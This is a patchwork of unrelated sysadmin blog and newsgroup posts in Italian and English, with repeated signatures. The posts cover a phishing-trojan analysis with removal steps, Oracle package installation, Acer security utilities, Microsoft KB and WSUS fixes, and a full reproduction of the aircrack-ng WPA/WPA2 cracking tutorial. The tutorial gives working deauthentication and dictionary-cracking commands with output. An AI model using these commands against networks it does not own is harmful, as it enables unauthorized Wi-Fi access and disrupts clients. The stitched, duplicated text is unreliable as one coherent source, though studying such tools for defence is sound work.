Il testo della nuova e-mail nociva:
CITAZIONE
"Egregio Signore/a Come da Raccomandata a.r. Oggetto: Messa in mora del
debitore ex art. 1219 c.c. La mia assistita mi informa che a tutt'oggi
risulta un credito nei Vostri confronti di complessivi €. 900,00, come
risulta dalla documentazione allegata. Per quanto precede Vi rendo noto
che, in difetto di ricezione, entro e non oltre dieci giorni dal
ricevimento della presente, del complessivo importo di €. 900,00 oltre
gli interessi dal dovuto al saldo di € 670,00, agirò legalmente nei
Vostri confronti, con sensibile aggravio di spese. Rimango in attesa di
un Vostro riscontro in merito – nel termine di cui sopra – e
distintamente Vi saluto. Avv. Ubaldo Santarelli".
Il link fornito nell'e-mail invita l'utente ad aprire una pagina web in
cui si comunica la messa in mora e viene mostrato il documento in
dimensioni molto ridotte. L'utente, invitato a cliccare sul file per
leggere il documento, scaricherà un trojan.hijacker dalle dimensioni di
32.512 bytes.
Il Trojan aggiunge una serie di domini nocivi nell'elenco dei siti
attendibili di internet. La home page di Internet Explorer viene
reindirizzata a gooogle.bz (analisi) e le zone di Internet Explorer
vengono alterate. Vengono creati I file:
C:\WINDOWS\system32\winsvc\svc\google.exe e C:\WINDOWS\gratis.pbk (per
le connessioni dialer) e viene creata una chiave di registro che crea
l'icona Connessione Veloce presente all'interno di Risorse del computer.
Il codice nocivo crea inoltre due collegamenti, chiamate Explorer.lnk e
Internet.lnk, sul desktop e nei programmi del menu avvio. Hanno la
stessa icona di Internet Explorer, per cui l'utente crede di lanciare il
browser di Microsoft. Il trojan ha anche funzioni di dialer: 8993993**
Wind Telecomunicazioni S.p.A, 8990325** CSINFO S.p.A, 8994511** Wind
Telecomunicazioni S.p.A
Giuliani ha pubblicato anche una procedura per la rimozione manuale
dell'infezione:
- Attraverso regedit (START - Esegui - "regedit") eliminiamo - se
presenti - le seguenti chiavi di registro:
HKEY_CLASSES_ROOT\CLSID\{16C7013F-912E-42ac-AA8E-A10A180DFF51}
- Riavviamo il computer. Al riavvio cancelliamo il file
C:\WINDOWS\system32\winsvc\svc\google.exe
- Cancelliamo la falsa icona di Internet Explorer sul desktop. La
riconosciamo cliccando con il tasto destro sull'icona e cliccando su
proprietà. Se vedremo nel campo destinazione la voce analcord.com quella
è l'icona da eliminare. Lo stesso facciamo nel menu start - programmi,
cerchiamo il collegamento che richiama analcord.com.
- Apriamo risorse del computer, dove prima c'era la connessione veloce
ora ci dovrebbe essere un riquadro bianco. Facciamo click con il tasto
destro e poi elimina.
- Dobbiamo modificare la home page di Internet Explorer, la quale punta
ancora a gooogle.bz. Per fare ciò, senza scomodare il registro di
sistema, possiamo aprire Internet Explorer cliccando con il tasto destro
sull'icona del programma e cliccando su proprietà internet. Rimuoviamo
gooogle.bz quindi dalla home page e modifichiamo anche l'elenco dei siti
attendibili, Protezione - Siti attendibili - Siti.
--
principio di Napoleone:
non attribuire a malintenzione cio' che puo'
essere semplicemente spiegato come imbecillita'
--
MaoX Blog:
http://maox.blogspot.com
--
principio di Napoleone: non attribuire a malintenzione cio' che puo' essere semplicemente spiegato come imbecillita'
MaoX Blog:
Problemi e soluzioni di un sistemista informatico:
http://maox.blogspot.com
--
principio di Napoleone: non attribuire a malintenzione cio' che puo' essere semplicemente spiegato come imbecillita'
MaoX Blog:
Problemi e soluzioni di un sistemista informatico:
http://maox.blogspot.com
fonte: http://www.aircrack-ng.org/doku.php?id=cracking_wpa
Version: 1.05 May 16, 2007
By: darkAudax
Introduction
This tutorial walks you through cracking WPA/WPA2 networks which use
pre-shared keys. I recommend you do some background reading to better
understand what WPA/WPA2 is. The Wiki links page has a WPA/WPA2 section.
WPA/WPA2 supports many types of authentication beyond pre-shared keys.
aircrack-ng can ONLY crack pre-shared keys. So make sure airodump-ng
shows the network as having the authentication type of PSK, otherwise,
don't bother trying to crack it.
There is another important difference between cracking WPA/WPA2 and WEP.
This is the approach used to crack the WPA/WPA2 pre-shared key. Unlike
WEP, where statistical methods can be used to speed up the cracking
process, only plain brute force techniques can be used against WPA/WPA2.
That is, because the key is not static, so collecting IVs like when
cracking WEP encryption, does not speed up the attack. The only thing
that does give the information to start an attack is the handshake
between client and AP. Handshaking is done when the client connects to
the network. Although not absolutely true, for the purposes of this
tutorial, consider it true. Since the pre-shared key can be from 8 to 63
characters in length, it effectively becomes impossible to crack the
pre-shared key.
The only time you can crack the pre-shared key is if it is a dictionary
word or relatively short in length. Conversely, if you want to have an
unbreakable wireless network at home, use WPA/WPA2 and a 63 character
password composed of random characters including special symbols.
The impact of having to use a brute force approach is substantial.
Because it is very compute intensive, a computer can only test 50 to 300
possible keys per second depending on the computer CPU. It can take
hours, if not days, to crunch through a large dictionary. If you are
thinking about generating your own password list to cover all the
permutations and combinations of characters and special symbols, check
out this brute force time calculator first. You will be very surprised
at how much time is required.
There is no difference between cracking WPA or WPA2 networks. The
authentication methodology is basically the same between them. So the
techniques you use are identical.
It is recommended that you experiment with your home wireless access
point to get familiar with these ideas and techniques. If you do not own
a particular access point, please remember to get permission from the
owner prior to playing with it.
I would like to acknowledge and thank the Aircrack-ng team for producing
such a great robust tool.
Please send me any constructive feedback, positive or negative.
Additional troubleshooting ideas and tips are especially welcome.
Assumptions
First, this solution assumes:
*
You are using drivers patched for injection. Use the injection
test to confirm your card can inject.
*
You are physically close enough to send and receive access point
and wireless client packets. Remember that just because you can receive
packets from them does not mean you may will be able to transmit packets
to them. The wireless card strength is typically less then the AP
strength. So you have to be physically close enough for your transmitted
packets to reach and be received by both the AP and the wireless client.
You can confirm that you can communicate with the specific AP by
following these instructions.
*
You are using v0.9 of aircrack-ng. If you use a different version
then some of the command options may have to be changed.
Ensure all of the above assumptions are true, otherwise the advice that
follows will not work. In the examples below, you will need to change
"ath0" to the interface name which is specific to your wireless card.
In the examples, the option "double dash bssid" is shown as "- -bssid".
Remember to remove the space between the two dashes when using it in
real life. This also applies to "- -ivs", "- -arpreplay", "- -deauth",
"- -channel", "- -arp" and "- -fakeauth".
Equipment used
To follow this tutorial at home, you must have two wireless cards.
In this tutorial, here is what was used:
*
MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
*
MAC address of the wireless client using WPA2: 00:0F:B5:FD:FB:C2
*
BSSID (MAC address of access point): 00:14:6C:7E:40:80
*
ESSID (Wireless network name): teddy
*
Access point channel: 9
*
Wireless interface: ath0
You should gather the equivalent information for the network you will be
working on. Then just change the values in the examples below to the
specific network.
Solution
Solution Overview
The objective is to capture the WPA/WPA2 authentication handshake and
then use aircrack-ng to crack the pre-shared key.
This can be done either actively or passively. "Actively" means you will
accelerate the process by deauthenticating an existing wireless client.
"Passively" means you simply wait for a wireless client to authenticate
to the WPA/WPA2 network. The advantage of passive is that you don't
actually need injection capability and thus the Windows version of
aircrack-ng can be used.
Here are the basic steps we will be going through:
1.
Start the wireless interface in monitor mode on the specific AP
channel
2.
Start airodump-ng on AP channel with filter for bssid to collect
authentication handshake
3.
Use aireplay-ng to deauthenticate the wireless client
4.
Run aircrack-ng to crack the pre-shared key using the
authentication handshake
Step 1 - Start the wireless interface in monitor mode
The purpose of this step is to put your card into what is called monitor
mode. Monitor mode is the mode whereby your card can listen to every
packet in the air. Normally your card will only "hear" packets addressed
to you. By hearing every packet, we can later capture the WPA/WPA2 4-way
handshake. As well, it will allow us to optionally deauthenticate a
wireless client in a later step.
First stop ath0 by entering:
airmon-ng stop ath0
The system responds:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP
destroyed)
Enter "iwconfig" to ensure there are no other athX interfaces. It should
look similar to this:
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
If there are any remaining athX interfaces, then stop each one. When you
are finished, run "iwconfig" to ensure there are none left.
Now, enter the following command to start the wireless card on channel 9
in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use "wifi0" instead of our wireless interface
of "ath0". This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
(monitor mode enabled)
You will notice that "ath0" is reported above as being put into monitor
mode.
To confirm the interface is properly setup, enter "iwconfig".
The system will respond:
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point:
00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the
2.452GHz frequency which is channel 9 and the Access Point shows the MAC
address of your wireless card. Only the madwifi-ng drivers show the card
MAC address in the AP field, other drivers do not. So everything is
good. It is important to confirm all this information prior to
proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out:
http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then
select the "Wifi Channel Selection and Channel Overlap" tab. This will
give you the frequency for each channel.
Step 2 - Start airodump-ng to collect authentication handshake
The purpose of this step is run airodump-ng to capture the 4-way
authentication handshake for the AP we are interested in.
Enter:
airodump-ng -c 9 - -bssid 00:14:6C:7E:40:80 -w psk ath0
Where:
*
-c 9 is the channel for the wireless network
*
- -bssid 00:14:6C:7E:40:80 is the access point MAC address. This
eliminate extraneous traffic.
*
-w psk is the file name prefix for the file which will contain
the IVs.
*
ath0 is the interface name.
Important: Do NOT use the "- -ivs" option. You must capture the full
packets.
Here what it looks like if a wireless client is connected to the network:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC
CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP
PSK teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
Here it is with no connected wireless clients:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC
CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP
PSK teddy
BSSID STATION PWR Lost Packets Probes
Step 3 - Use aireplay-ng to deauthenticate the wireless client
This step is optional. You only perform this step if you opted to
actively speed up the process. The other constraint is that there must
be a wireless client currently associated with the AP. If there is no
wireless client currently associated with the AP, then move onto the
next step and be patient. Needless to say, if a wireless client shows up
later, you can backtrack and perform this step.
What this step does is send a message to the wireless client saying that
that it is no longer associated with the AP. The wireless client will
then hopefully reauthenticate with the AP. The reauthentication is what
generates the 4-way authentication handshake we are interested in
collecting. This what we use to break the WPA/WPA2 pre-shared key.
Based on the output of airodump-ng in the previous step, you determine a
client which is currently connected. You need the MAC address for the
following. Open another console session and enter:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
Where:
*
-0 means deauthentication
*
1 is the number of deauths to send (you can send muliple if you wish)
*
-a 00:14:6C:7E:40:80 is the MAC address of the access point
*
-c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are
deauthing
*
ath0 is the interface name
Here is what the output looks like:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
With luck this causes the client to reauthenticate and yield the 4-way
handshake.
Troubleshooting Tips
*
The deauthentication packets are sent directly from your PC to
the clients. So you must be physically close enough to the clients for
your wireless card transmissions to reach them.
Step 4 - Run aircrack-ng to crack the pre-shared key
The purpose of this step is to actually crack the WPA/WPA2 pre-shared
key. To do this, you need a dictionary of words as input. Basically,
aircrack-ng takes each word and tests to see if this is in fact the
pre-shared key.
There is a small dictionary that comes with aircrack-ng -
"password.lst". The Wiki FAQ has an extensive list of dictionary
sources. You can use John the Ripper (JTR) to generate your own list and
pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is
beyond the scope of this tutorial.
Open another console session and enter:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Where:
*
-w password.lst is the name of the dictionary file. Remember to
specify the full path if the file is not located in the same directory.
*
*.cap is name of group of files containing the captured packets.
Notice in this case that we used the wildcard * to include multiple files.
Here is typical output when there are no handshakes found:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
No valid WPA handshakes found.
When this happens you either have to redo step 3 (deauthenticating the
wireless client) or wait longer if you are using the passive approach.
When using the passive approach, you have to wait until a wireless
client authenticates to the AP.
Here is typical output when handshakes are found:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
# BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Now at this point, aircrack-ng will start attempting to crack the
pre-shared key. Depending on the speed of your CPU and the size of the
dictionary, this could take a long time, even days.
Here is what successfully cracking the pre-shared key looks like:
Aircrack-ng 0.8
[00:00:00] 2 keys tested (37.20 k/s)
KEY FOUND! [ 12345678 ]
Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71
EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
--
principio di Napoleone:
non attribuire a malintenzione cio' che puo'
essere semplicemente spiegato come imbecillita'
--
MaoX Blog:
http://maox.blogspot.com
In an earlier post I wrote about the Oracle channel on the Unbreakable Linux Network (ULN) and how to subscribe to it. This channel just got a great new addition in the form of the oracle-validated RPM. When you install this RPM using up2date and ULN, it will automatically install all packages required by the Oracle database installer.
[root@localhost ~]# up2date --install oracle-validated Fetching Obsoletes list for channel: el4_i386_addons... Fetching Obsoletes list for channel: el4_i386_oracle... Fetching Obsoletes list for channel: el4_i386_latest... Fetching rpm headers... ######################################## Name Version Rel ---------------------------------------------------------- oracle-validated 1.0.0 3.el4 i386 Testing package set / solving RPM inter-dependencies... ######################################## oracle-validated-1.0.0-3.el ########################## Done. elfutils-libelf-devel-0.97. ########################## Done. gcc-3.4.6-3.1.0.1.i386.rpm: ########################## Done. gcc-c++-3.4.6-3.1.0.1.i386. ########################## Done. glibc-devel-2.3.4-2.25.i386 ########################## Done. glibc-headers-2.3.4-2.25.i3 ########################## Done. glibc-kernheaders-2.4-9.1.9 ########################## Done. libstdc++-devel-3.4.6-3.1.0 ########################## Done. sysstat-5.0.5-11.rhel4.i386 ########################## Done. Preparing ########################################### [100%] Installing... 1:libstdc++-devel ########################################### [100%] 2:glibc-kernheaders ########################################### [100%] 3:glibc-headers ########################################### [100%] 4:glibc-devel ########################################### [100%] 5:gcc ########################################### [100%] 6:gcc-c++ ########################################### [100%] 7:sysstat ########################################### [100%] 8:elfutils-libelf-devel ########################################### [100%] 9:oracle-validated ########################################### [100%] insmod /lib/modules/2.6.9-42.EL/kernel/drivers/net/e1000/e1000.ko insmod /lib/modules/2.6.9-42.EL/kernel/drivers/char/hangcheck-timer.ko hangcheck_reboot=1 The following packages were added to your selection to satisfy dependencies: Name Version Release -------------------------------------------------------------- elfutils-libelf-devel 0.97.1 3 gcc 3.4.6 3.1.0.1 gcc-c++ 3.4.6 3.1.0.1 glibc-devel 2.3.4 2.25 glibc-headers 2.3.4 2.25 glibc-kernheaders 2.4 9.1.98.EL libstdc++-devel 3.4.6 3.1.0.1 sysstat 5.0.5 11.rhel4 [root@localhost ~]#
Named after Validated Configurations, oracle-validated also creates an oracle OS user and an oinstall and dba group. Kernel parameters are also set properly, ensuring that the Oracle Universal Installer will proceed without complaints. Very nice!
-- principio di Napoleone: non attribuire a malintenzione cio' che puo' essere semplicemente spiegato come imbecillita' MaoX Blog: Problemi e soluzioni di un sistemista informatico: http://maox.blogspot.com
-- principio di Napoleone: non attribuire a malintenzione cio' che puo' essere semplicemente spiegato come imbecillita' MaoX Blog: Problemi e soluzioni di un sistemista informatico: http://maox.blogspot.com
--
principio di Napoleone:
non attribuire a malintenzione cio' che puo'
essere semplicemente spiegato come imbecillita'
MaoX Blog:
http://maox.blogspot.com
| Acer eDatasecurity Management La sicurezza dei dati trova nelle Empowering Tecnologies di Acer uno strumento dedicato. Acer eDatasecurity Management crea una sorta di partizione protetta al cui interno collocare file e documenti importanti: per accedere a tale area del disco sarà necessario introdurre un'apposita password mentre i dati saranno processati da un apposito algoritmo crittografico. L'utente deve quindi aprire il proprio spazio Personal Secure Disk, effettuare le operazioni di salvataggio o modifica e successivamente provvedere a richiudere il PSD. Se quest'ultima operazione non viene effettuata la partizione soggetta a controllo crittografico sarà accessibile da chiunque anche se il software prevede un time out scaduto il quale è necessario rieffettuare l'autenticazione. Al primo utilizzo del tool Acer eDatasecurity Management verrà chiesto all'utente di scegliere una password e successivamente si avrà la possibilità di definire le dimensioni del proprio volume protetto. Potendo disporre delle tecnologie TPM sul pc in uso è anche possibile utilizzare tale hardware per elevare ulteriormente il livello di sicurezza: la crittografia sarà a carico dell'apposito chip presente on board mentre il salvataggio della chiave di accesso sarà effettuato in un'area differente dall'hard disk. Qualora il disco venga rimosso dal sistema l'accesso ai dati contenuti nel Personal Secure Disk sarà sicuramente poco agevole. Acer eLock Management Per inibire l'utilizzo di unità ottica o pen drive è disponibile uno specifico strumento denominato Acer eLock Management. I dispositivi suddetti possono potenzialmente essere utilizzati per sottrarre dati dal pc stesso e per tale ragione un preciso controllo su di essi può sicuramente essere una forma di controllo valida. Scegliendo di disabilitare uno specifico dispositivo il tool richiede di inserire un'apposita password scelta dall'utente. La medesima autenticazione sarà richiesta qualora si desideri riabilitare una periferica precedentemente inibita. Acer eRecovery Management Nei paragrafi precedenti si è affrontato il tema della sicurezza e della protezione dei dati ma un'altra evenienza che a priori non può mai essere esclusa è quella relativa a un malfunzionamento del sistema, ad un sistema operativo corrotto oppure alla rottura dell'hard disk. In tutte queste evenienze l'unica vera protezione consiste nell'approntare una precisa strategia di salvataggio dei dati su dispositivi esterni presenti in rete o in alternativa e con tutti i rischi del caso su un'altra partizione dell'hard disk. Anche Acer come la maggior parte dei produttori di notebook in commercio fornisce un tool che consente di effettuare il backup totale o parziale del sistema. L'applicazione Acer eRecovery Management consente di configurare i vari parametri del backup come l'ora di esecuzione, i file e le cartelle soggette a tale operazione. Purtroppo nelle nostre prove non abbiamo individuato la possibilità di selezionare come volume di destinazione un'altra risorsa presente in rete o ma semplicemente l'unità ottica del notebook. Acer eRecovery Management consente però di effettuare il restore del sistema a partire da precedenti backup, o più semplicemente la reinstallazione dei soli driver e delle applicazioni di default. All'occorrenza anche l'utente può creare una propria immagine disco contenente oltra al sistema operativo anche driver e applicazioni installate nel tempo: in caso di necessità sarà possibile riportare il sistema a tale condizione di funzionamento. Si consiglia ovviamente di mantere i propri dati su una partizione differente da quella di sistema in modo tale che l'operazione di restore possa riguardare solo gli applicativi. Acer eSetting Management Per verificare la configurazione hardware del proprio sistema Acer mette a disposizione lo strumento Acer eSetting Management che organizza le varie periferiche hardware in 6 differenti pannelli e fornisce un piccolo dettaglio per ogni componente. I dettagli contenuti in questa interfaccia grafica possono eventualmente essere salvati in formato txt o stampati per successive analisi. Lo strumento Acer eSetting Management permette anche di intervenire su alcuni parametri tipicamente selezionabili solo a livello BIOS come ad esempio la sequenza di boot o i parametri BIOS Supervisor Password e BIOS User Password. Anticipiamo che la scelta di una password BIOS con privilegi di Superuser è condizione necessaria per abilitare le funzionalità TPM implementate sul TraveMate 6460. Acer ePerformance Management Come praticamente tutti gli utenti di Microsoft Windows XP avranno verificato, utilizzando nel tempo un pc le prestazioni generalmente decrescono. La causa è da ricercare in file temporanei che inspiegabilmente lievitano nelle loro dimensioni o inconvenienti simili. Facendo un uso intenso del pc per alcune ore consecutive si sarà notato che dopo tale periodo il sistema risulta rallentato e eseguendo un restart si ritorna alla condizione iniziale. Il più delle volte questo inconveniente è da imputare ad una gestione poco accorta della memoria ram da parte di Microsoft Windows. Per risolvere gli inconvenienti appena citati sono disponibili varie utility più o meno efficaci e vi segnaliamo questo articolo dedicato proprio all'argomento. Acer ha però scelto di offrire un proprio tool utilizzabile per effettuare una personale ottimizzazione del sistema operativo. Acer ePerformance Management effettua la pulizia di file inutilmente memorizzati sull'hard disk, ottimizza l'utilizzo della memoria e provvede ancha a cancellare informazioni sensibili come ad esempio le password inserire nei vari form online. Tutte queste opzioni sono abilitabili singolarmente oppure attraverso la funzione "Execute Express Optimization" che effettua una procedura di pulizia automatizzata. Tra le opzioni avanzate sono disponibili dei settaggi interessanti come ad esempio Turbo Startup o Performance Enhancement che però sono privi di commenti e documentazione. |
| Segue : Utility per lettori di impronte biometriche | ||
| ||
-- principio di Napoleone: non attribuire a malintenzione cio' che puo' essere semplicemente spiegato come imbecillita' ---- MaoX Blog: http://maox.blogspot.com
| Identificativo articolo | : | 278316 |
| Ultima modifica | : | martedì 18 ottobre 2005 |
| Revisione | : | 6.0 |
Tipo evento: Errore
Origine evento: Userenv
Categoria evento: Nessuna
ID evento: 1000
Data: 7/6/2000
Ora: 14.56.53
Utente: WINDOWS NT AUTHORITY\SYSTEM
Computer: ASKO-ONE
Descrizione: all'estensione Protezione sul lato client Criteri di gruppo sono stati inviati dei flag (17). Essa ha restituito un codice di stato di errore (1208).
Tipo evento: Avviso
Origine evento: SceCli
Categoria evento: Nessuna
ID evento: 1202
Data: 7/6/2000
Ora: 14.56.53
Utente: N/D
Computer: ASKO-ONE
Descrizione: criteri di protezione propagati con avviso. 0x4b8: si è verificato un errore esteso. Per ulteriori informazioni, vedere la sezione della Guida in linea relativa alla risoluzione dei problemi di protezione.
Tipo evento: Errore
Origine evento: ESENT
Categoria evento: Registrazione/Ripristino
ID evento: 454
Data: 7/6/2000
Ora: 14.56.53
Utente: N/D
Computer: ASKO-ONE
Descrizione: servizi (PID) Impossibile recuperare o ripristinare il database. Errore imprevisto -530.
Tipo evento: Errore
Origine evento: ESENT
Categoria evento: Registrazione/Ripristino
ID evento: 412
Data: 7/6/2000
Ora: 14.56.53
Utente: N/D
Computer: ASKO-ONE
Descrizione: servizi (PID) Impossibile leggere l'intestazione del registro. Errore -530.
| 1. | Aprire la cartella %SystemRoot%\Security, creare una nuova cartella, quindi rinominarla "OldSecurity". |
| 2. | Spostare tutti i file con estensione LOG dalla cartella %SystemRoot%\Security alla cartella OldSecurity. |
| 3. | Individuare il file Secedit.sdb nella cartella %SystemRoot%\Security\Database, quindi rinominarlo "Secedit.old". |
| 4. | Fare clic sul pulsante Start, scegliere Esegui, digitare mmc, quindi scegliere OK. |
| 5. | Scegliere Aggiungi/Rimuovi snap-in dal menu Console, quindi aggiungere lo snap-in Analisi e configurazione della protezione. |
| 6. | Fare clic con il pulsante destro del mouse su Analisi e configurazione della protezione e scegliere Apri database. |
| 7. | Passare alla cartella %SystemRoot%\Security\Database, digitare Secedit.sdb nella casella Nome file e scegliere Apri. |
| 8. | Alla richiesta di importare un modello, fare clic su Setup Security.inf, quindi scegliere Apri. Nota Se viene visualizzato un messaggio di errore "Accesso negato", sarà possibile ignorarlo. |
| • | Microsoft Windows 2000 Service Pack 1 |
| • | Microsoft Windows 2000 Service Pack 2 |
| • | Microsoft Windows 2000 Advanced Server |
| • | Microsoft Windows 2000 Advanced Server |
| • | Microsoft Windows 2000 Service Pack 1 |
| • | Microsoft Windows 2000 Service Pack 2 |
Chiavi: | kberrmsg kbprb KB278316 |
| Identificativo articolo | : | 296220 |
| Ultima modifica | : | mercoledì 28 febbraio 2007 |
| Revisione | : | 2.3 |
| • | Microsoft SharePoint Portal Server 2001 |
Chiavi: | kberrmsg kbprb KB296220 KbMtit kbmt |
In some cases, AU clients do not show up in WSUS Administration console, and thus never receive updates from WSUS. There are several reasons why this can happen.
The first thing to establish is the settings that the client is using. To do this, run the following command:
Reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /s
Ensure server and port number shown in the output exist and are correct. Typos in these settings can be the cause of your problem.
Next check whether WSUS is installed on Default Website. If client policies point to the default web site for updating, check that WUS is also installed in Default Website. If you have installed WUS on a different port run the script %Program Files%\MicrosoftWindowsUpdate\Services\"SetupInstallSelfupdateOnPort80.vbs.
Also, use the clientdiag tool from the RC (download this from the WSUS Beta Site) to see what other errors there might be.
If other computers are checking in fine but you have one or more that aren't, check a couple relevant text logs for clues. There's the main windows update log at %systemroot%\WindowsUpdate.log (WindowsUpdate all one word) and another log covering individual component updates at %systemroot%\SoftwareDistribution\ReportingEvents.log I found a handy page that has a list of error messages with some plain english messages. You'll want to check that out at http://perso.wanadoo.fr/doc.jm/WU5-ERR.htm
I had one computer not checking in and found errors like this in the ReportingEvents.log:
If client machines do not have web access, download the full file Windows Update Client agent Agent from
http://go.microsoft.com/fwlink/?LinkId=43264
WindowsUpdateAgent20-x86.exe /wuforce /quiet to install it remotely.
Add /norestart if you're doing it during the day (my clients didn't need a reboot, but ya never know).
If you're seeing error 0x8024400A and are running WSUS on Win2K3 SP1 it might be an IIS bug that's causing it. A hotfix is available. See: http://support.microsoft.com/Default.aspx?id=898708
I personally had success via a "shotgun" aproach suggested by ctobio on the wsus.info forums. I've consolidated the operations into a batch file form here, suitable for running remotely:
REM Stop the Automatic Updates service
net stop wuauserv
REM Stop the Windows Management Instrumentation service
net stop winmgmt
REM Backup ReportingEvents.log. Then, delete the contents of
REM %systemroot%\SoftwareDistribution and
REM %systemroot%\system32\WBEM\Repository
copy %systemroot%\softwaredistribution\reportingevents.log %homedrive%\
del /f /q %systemroot%\softwaredistribution\*.*
move %homedrive%\reportingevents.log %systemroot%\softwaredistribution
REM Delete SusClientID and AccountDomainSid keys from
REM HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate
SET WU_KEY=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate
reg delete %WU_KEY% /v SusClientID
reg delete %WU_KEY% /v AccountDomainSid
SET WU_KEY=
REM Start the Automatic Updates service
net start wuauserv
REM Start the Windows Management Instrumentation service
net start winmgmt
REM Force a group policy update
gpupdate /force
REM Roll the WU Client...
wuauclt /resetauthorization /detectnow
After you do this, you will have to delete the old and now spurious computer account in the WSUS admin interface. Delete the old computer that shows a status of not having checked in for so many days. Leave the account that's never checked in. This new account will be checking in and that should be reflected after a little while in the admin interface. You'll also have to move the new account into the proper group where the old one was. Monitor the WindowsUpdate.log in %systemroot% on that client machine to ensure that it's grabbing updates again.
If a client appears in the admin console but all the updates are flagged "unknown" the system cannot determine which updates are needed or installed. Multiple errors similar to the following may appear in the client's Application event log:
Event Type: Error
Event Source: ESENT
Event Category: General
Event ID: 427
Date: 5/17/2005
Time: 10:51:44 AM
User: N/A
Computer: [computername]
Description:
wuaueng.dll (1280) The database engine could not access the file called C:\WINNT\SoftwareDistribution\DataStore\Logs\edb.log.
Additionally the following error may appear once around the time of the first occurrence of the above error:
Event Type: Error
Event Source: ESENT
Event Category: Logging/Recovery
Event ID: 413
Date: 5/12/2005
Time: 2:46:16 PM
User: N/A
Computer: [computername]
Description:
wuaueng.dll (1280) Unable to create the log. The drive may be read-only, out of disk space, misconfigured, or corrupted. Error -1032.
To resolve this problem, stop the Automatic Updates service on the affected client, delete %windir%\SoftwareDistribution\DataStore\Logs\edb.log and restart the service.
[I couldn't find any record of this error at Microsoft or anywhere else.]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\AUState This will have one of the following values
| Name | Version | Size | Date | User |
|---|---|---|---|---|
| Wsus error.txt | 1 | 1574 | 27/10/06 3.28 | praveenr |
| Wsus error | ||||
From karmacop - 29/03/05 8.10
From ipelivan - 20/04/05 15.07
Hi! I have simillar problem. I removed one client computer from computer group. How to get it back?
From jahovabob - 07/07/05 9.48
From helsby - 06/10/05 8.45
From rpaz - 08/01/06 17.42
I'm a little bit confused.
Can the AUState registry key be used to check WSUS Status? Or this key is only used by SUS?
From rpaz - 08/01/06 17.46
For those that accidentally removed All The Clients, don't worry to much they will get back on next cycle
I made the same mistake
From rpaz - 08/01/06 18.00
For those that accidentally removed All The Clients, don't worry to much they will get back on next cycle
I made the same mistake
From rpaz - 08/01/06 18.00
For those that accidentally removed All The Clients, don't worry to much they will get back on next cycle
I made the same mistake
From rpaz - 08/01/06 18.13
From giadzich - 22/02/06 12.16
It will take a while for client to report back to WSUS server after you delete it.
I hate to see those little icons saying the computer not report in xx days. I decided to delete them all. No harm.
From weeble - 27/02/06 1.47
This may not apply to everybody but I've got around 40 Windows 2000 machines that are not checking into my WSUS Server.
So far, the solution that I've found to get them all to start checking in is as follows:
Download and install the following:
Once I've restarted the computer, it will then check in with my WSUS server and start the updating process.
I've found that in some remote cases, I've also had to export the REGKEYS from a working machine and them import them into a machine that isn't working after I've done all the updates.
If you're having problems, and you've checked everything else, try this ... it may work and you've obviously got nothing else to loose. So far, it's worked without fail for me.
From laurin1 - 21/06/06 13.27
From geraghty - 11/05/07 6.39
Per fare ciò ho seguito le seguenti istruzioni:
You can request Google Support Team via,
https://www.google.com/support/a/bin/request.py
You will then receive an automated response; reply to the automated
message with the same request and explanation.
You may wait for 5 days for the resolution.
Saluti
Se qualcuno avesse soluzioni migliori si faccia vivo... nel frattempo
continuo a passarli a mano :-(
Saluti
[Origine: http://www.abaconline.com/?q=node/24 ]
